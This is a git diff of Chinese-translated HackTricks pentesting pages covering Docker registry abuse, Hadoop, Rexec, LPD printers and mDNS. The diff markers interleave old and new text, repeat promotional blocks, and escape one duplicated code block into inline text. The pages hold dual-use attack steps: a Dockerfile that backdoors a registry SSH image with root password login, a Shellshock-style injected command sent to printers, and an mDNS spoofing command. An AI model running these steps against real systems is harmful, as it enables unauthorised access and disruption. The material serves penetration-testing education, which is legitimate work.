docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||||
```
|
||||
|
||||
从SSH镜像中提取`sshd_config`文件:
|
||||
|
||||
从 SSH 镜像中提取 `sshd_config` 文件:
|
||||
```bash
|
||||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||||
```
|
||||
并将其修改为设置:`PermitRootLogin yes`
|
||||
|
||||
并修改它以设置:`PermitRootLogin yes`
|
||||
创建一个 **Dockerfile**,如下所示:
|
||||
|
||||
创建一个如下所示的 **Dockerfile**:
|
||||
{% tabs %}
|
||||
{% tab title="Dockerfile" %}
|
||||
```bash
|
||||
FROM 10.10.10.10:5000/sshd-docker-cli
|
||||
COPY sshd_config /etc/ssh/
|
||||
RUN echo root:password | chpasswd
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**创建**新镜像,**检查**它是否已创建,并**推送**它:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
||||
#Create
|
||||
docker images
|
||||
docker push registry:5000/sshd-docker-cli #Push it
|
||||
```
|
||||
## 参考文献
|
||||
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||
|
||||
|
||||
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*创建\*\*新镜像,\*\*检查\*\*其是否已创建,并\*\*推送\*\*它: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## 参考资料 \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,43 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **基本信息**
|
||||
|
||||
**Apache Hadoop**是一个用于**计算机集群**中**大型数据集**的**分布式存储和处理**的**开源框架**。它使用**HDFS**进行存储和**MapReduce**进行处理。
|
||||
**Apache Hadoop** 是一个 **开源框架**,用于 **计算集群** 中 **大数据集** 的 **分布式存储和处理**。它使用 **HDFS** 进行存储,使用 **MapReduce** 进行处理。
|
||||
|
||||
不幸的是,在文档编写时,Metasploit框架中缺乏对Hadoop的支持。但是,您可以使用以下**Nmap脚本**来枚举Hadoop服务:
|
||||
不幸的是,在文档编写时,Hadoop 在 Metasploit 框架中缺乏支持。然而,您可以使用以下 **Nmap 脚本** 来枚举 Hadoop 服务:
|
||||
|
||||
- **`hadoop-jobtracker-info(端口50030)`**
|
||||
- **`hadoop-tasktracker-info(端口50060)`**
|
||||
- **`hadoop-namenode-info(端口50070)`**
|
||||
- **`hadoop-datanode-info(端口50075)`**
|
||||
- **`hadoop-secondary-namenode-info(端口50090)`**
|
||||
- **`hadoop-jobtracker-info (端口 50030)`**
|
||||
- **`hadoop-tasktracker-info (端口 50060)`**
|
||||
- **`hadoop-namenode-info (端口 50070)`**
|
||||
- **`hadoop-datanode-info (端口 50075)`**
|
||||
- **`hadoop-secondary-namenode-info (端口 50090)`**
|
||||
|
||||
|
||||
需要注意的是,**Hadoop在默认设置下没有身份验证**。但是,为了增强安全性,可以配置Kerberos与HDFS、YARN和MapReduce服务集成。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
需要注意的是,**Hadoop 在其默认设置中不需要身份验证**。然而,为了增强安全性,可以配置将 Kerberos 与 HDFS、YARN 和 MapReduce 服务集成。
|
||||
|
|
|
@ -1,40 +1,42 @@
|
|||
# 512 - 渗透测试 Rexec
|
||||
# 512 - Pentesting Rexec
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
这是一项**允许您在主机内执行命令**的服务,如果您知道有效的**凭据**(用户名和密码)。
|
||||
这是一项 **允许您在主机内部执行命令的服务**,前提是您知道有效的 **凭据**(用户名和密码)。
|
||||
|
||||
**默认端口:**512
|
||||
**默认端口:** 512
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
512/tcp open exec
|
||||
```
|
||||
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#rexec)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### **LPD协议简介**
|
||||
### **LPD 协议简介**
|
||||
|
||||
在20世纪80年代,**Line Printer Daemon (LPD)协议**在伯克利Unix中开发,后来通过RFC1179正式规范化。该协议通过端口515/tcp运行,允许通过`lpr`命令进行交互。通过LPD打印的本质涉及发送一个**控制文件**(用于指定作业详细信息和用户)以及一个**数据文件**(保存打印信息)。虽然控制文件允许选择**各种文件格式**用于数据文件,但这些文件的处理取决于特定的LPD实现。Unix-like系统中一个广泛认可的实现是**LPRng**。值得注意的是,LPD协议可以被利用来执行**恶意PostScript**或**PJL打印作业**。
|
||||
在1980年代,**行打印守护进程 (LPD) 协议**在伯克利 Unix 中开发,后来通过 RFC1179 正式化。该协议通过 515/tcp 端口运行,允许通过 `lpr` 命令进行交互。通过 LPD 打印的本质涉及发送一个 **控制文件**(以指定作业细节和用户)以及一个 **数据文件**(包含打印信息)。虽然控制文件允许选择 **各种文件格式** 作为数据文件,但这些文件的处理由特定的 LPD 实现决定。一个广泛认可的 Unix 类系统实现是 **LPRng**。值得注意的是,LPD 协议可以被利用来执行 **恶意 PostScript** 或 **PJL 打印作业**。
|
||||
|
||||
### **与LPD打印机交互的工具**
|
||||
### **与 LPD 打印机交互的工具**
|
||||
|
||||
[**PRET**](https://github.com/RUB-NDS/PRET)引入了两个基本工具,`lpdprint`和`lpdtest`,提供了一种与兼容LPD的打印机进行交互的简单方法。这些工具使得从打印数据到操作打印机上的文件(如下载、上传或删除)等一系列操作成为可能。
|
||||
[**PRET**](https://github.com/RUB-NDS/PRET) 引入了两个基本工具,`lpdprint` 和 `lpdtest`,提供了一种与 LPD 兼容打印机交互的简单方法。这些工具使得从打印数据到操纵打印机上的文件(如下载、上传或删除)的一系列操作成为可能:
|
||||
```python
|
||||
# To print a file to an LPD printer
|
||||
lpdprint.py hostname filename
|
||||
|
@ -33,21 +34,24 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
|||
# To send a mail through the printer
|
||||
lpdtest.py hostname mail lpdtest@mailhost.local
|
||||
```
|
||||
对于有兴趣进一步探索**打印机黑客**领域的个人,可以在这里找到全面的资源:[**黑客打印机**](http://hacking-printers.net/wiki/index.php/Main_Page)。
|
||||
|
||||
# Shodan
|
||||
|
||||
* `端口 515`
|
||||
* `port 515`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,93 +1,87 @@
|
|||
# 5353/UDP Multicast DNS (mDNS) and DNS-SD
|
||||
# 5353/UDP Multicast DNS (mDNS) 和 DNS-SD
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的 **公司在 HackTricks 中被广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**多播 DNS (mDNS)** 在本地网络中实现了类似 **DNS 操作**,无需传统 DNS 服务器。它在 **UDP 端口 5353** 上运行,允许设备发现彼此及其服务,通常在各种物联网设备中看到。**DNS 服务发现 (DNS-SD)** 经常与 mDNS 一起使用,通过标准 DNS 查询帮助识别网络上可用的服务。
|
||||
|
||||
**Multicast DNS (mDNS)** 使得在本地网络中进行 **类似 DNS 的操作**,而无需传统的 DNS 服务器。它在 **UDP 端口 5353** 上运行,允许设备相互发现及其服务,通常见于各种 IoT 设备。**DNS 服务发现 (DNS-SD)** 通常与 mDNS 一起使用,帮助识别网络上可用的服务,通过标准的 DNS 查询进行。
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
```
|
||||
### **mDNS的操作**
|
||||
|
||||
### **mDNS操作**
|
||||
在没有标准DNS服务器的环境中,mDNS允许设备通过查询多播地址**224.0.0.251**(IPv4)或**FF02::FB**(IPv6)来解析以**.local**结尾的域名。mDNS的重要方面包括一个**生存时间(TTL)**值,指示记录的有效性,以及一个**QU位**,用于区分单播和多播查询。在安全方面,mDNS实现必须验证数据包的源地址是否与本地子网一致。
|
||||
|
||||
在没有标准DNS服务器的环境中,mDNS允许设备通过查询多播地址**224.0.0.251**(IPv4)或**FF02::FB**(IPv6)来解析以\*\*.local**结尾的域名。mDNS的重要方面包括**生存时间(TTL)**值表示记录的有效性,以及**QU位\*\*区分单播和多播查询。从安全角度来看,mDNS实现必须验证数据包的源地址与本地子网对齐。
|
||||
### **DNS-SD的功能**
|
||||
|
||||
### **DNS-SD功能**
|
||||
|
||||
DNS-SD通过查询指针记录(PTR)来促进网络服务的发现,这些记录将服务类型映射到它们的实例。服务使用**\_\<Service>.\_tcp或\_\<Service>.\_udp**模式在\*\*.local**域内进行标识,从而发现相应的**SRV**和**TXT记录\*\*,提供详细的服务信息。
|
||||
DNS-SD通过查询指针记录(PTR)来促进网络服务的发现,这些记录将服务类型映射到其实例。服务使用**_\<Service>.\_tcp或\_\<Service>.\_udp**模式在**.local**域中进行标识,从而发现相应的**SRV**和**TXT记录**,提供详细的服务信息。
|
||||
|
||||
### **网络探索**
|
||||
|
||||
#### **nmap用法**
|
||||
|
||||
用于扫描本地网络中mDNS服务的有用命令是:
|
||||
#### **nmap使用**
|
||||
|
||||
一个用于扫描本地网络中mDNS服务的有用命令是:
|
||||
```bash
|
||||
nmap -Pn -sUC -p5353 [target IP address]
|
||||
```
|
||||
此命令有助于识别开放的 mDNS 端口及其上广告的服务。
|
||||
|
||||
这个命令有助于识别开放的mDNS端口以及它们上面广告的服务。
|
||||
|
||||
#### **使用Pholus进行网络枚举**
|
||||
|
||||
要积极地发送mDNS请求并捕获流量,可以如下使用**Pholus**工具:
|
||||
#### **使用 Pholus 进行网络枚举**
|
||||
|
||||
要主动发送 mDNS 请求并捕获流量,可以按如下方式使用 **Pholus** 工具:
|
||||
```bash
|
||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||
```
|
||||
|
||||
## 攻击
|
||||
|
||||
### **利用mDNS探测**
|
||||
|
||||
一种攻击向量涉及向mDNS探测发送伪造响应,暗示所有潜在名称已被使用,从而阻碍新设备选择唯一名称。这可以通过以下方式执行:
|
||||
### **利用 mDNS 探测**
|
||||
|
||||
一种攻击向量涉及向 mDNS 探测发送伪造的响应,暗示所有潜在名称已经被使用,从而阻碍新设备选择唯一名称。这可以通过以下方式执行:
|
||||
```bash
|
||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
```
|
||||
|
||||
这种技术有效地阻止新设备在网络上注册其服务。
|
||||
|
||||
**总结**,了解mDNS和DNS-SD的工作原理对于网络管理和安全至关重要。像**nmap**和**Pholus**这样的工具提供了有关本地网络服务的宝贵见解,同时意识到潜在的漏洞有助于防范攻击。
|
||||
**总结**,理解 mDNS 和 DNS-SD 的工作原理对于网络管理和安全至关重要。像 **nmap** 和 **Pholus** 这样的工具提供了对本地网络服务的有价值的洞察,而对潜在漏洞的意识有助于防范攻击。
|
||||
|
||||
### 欺骗/中间人攻击
|
||||
|
||||
您可以在此服务上执行的最有趣的攻击是在**客户端和真实服务器之间的通信**中执行**中间人攻击**。您可能能够获取敏感文件(中间人攻击打印机通信)甚至凭据(Windows身份验证)。\
|
||||
您可以在此服务上执行的最有趣的攻击是执行 **MitM** 在 **客户端与真实服务器之间的通信**。您可能能够获取敏感文件(与打印机的通信进行 MitM)甚至凭据(Windows 身份验证)。\
|
||||
有关更多信息,请查看:
|
||||
|
||||
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
|
||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||
* [实用物联网黑客:攻击物联网的权威指南](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客攻击: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
